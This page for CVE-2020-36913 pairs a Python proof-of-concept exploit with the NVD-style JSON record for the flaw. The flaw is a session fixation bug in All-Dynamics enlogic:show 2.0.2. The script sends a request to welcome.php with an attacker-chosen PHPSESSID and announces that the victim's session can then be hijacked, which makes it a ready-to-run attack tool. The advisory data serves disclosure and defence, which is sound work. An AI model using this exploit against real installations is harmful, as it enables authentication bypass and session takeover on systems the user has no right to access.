CVE-2020-36913

import requests import sys def exploit_session_fixation(target_url, attacker_session_id): """ PoC for CVE-2020-36913 - enlogic:show Session Fixation This script demonstrates how an attacker can set a predefined session ID """ target = target_url.rstrip('/') # Step 1: Attacker creates a malicious session ID print(f"[*] Attacker controlled session ID: {attacker_session_id}") # Step 2: Send crafted GET request with predefined session ID exploit_url = f"{target}/welcome.php?PHPSESSID={attacker_session_id}" print(f"[*] Sending malicious request to: {exploit_url}") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(exploit_url, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") # Step 3: Check if session cookie is set if 'PHPSESSID' in response.cookies: print(f"[+] Session cookie received: {response.cookies['PHPSESSID']}") # Step 4: Attacker can now use this session ID to hijack user session print(f"[!] Attack successful - Session {attacker_session_id} is now active") print(f"[!] Attacker can hijack victim session with the same PHPSESSID") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_session_id>") print(f"Example: python {sys.argv[0]} http://target.com attacker123") sys.exit(1) exploit_session_fixation(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2020-36913", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:47.200", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "All-Dynamics Software enlogic:show 2.0.2 contains a session fixation vulnerability that allows attackers to set a predefined PHP session identifier during the login process. Attackers can forge HTTP GET requests to welcome.php with a manipulated session token to bypass authentication and potentially execute cross-site request forgery attacks."}, {"lang": "es", "value": "All-Dynamics Software enlogic:show 2.0.2 contiene una vulnerabilidad de fijación de sesión que permite a los atacantes establecer un identificador de sesión PHP predefinido durante el proceso de inicio de sesión. Los atacantes pueden falsificar peticiones HTTP GET a welcome.php con un token de sesión manipulado para eludir la autenticación y potencialmente ejecutar ataques de falsificación de petición en sitios cruzados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "references": [{"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/186246", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/158703", "source": "[email protected]"}, {"url": "https://www.enlogic-show.com/index.dhtml/23695c31af422b939dd049908/-/deDE/-/CS/-/support/changelog", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/all-dynamics-software-enlogicshow-session-fixation-authentication-bypass", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5577.php", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/158703", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}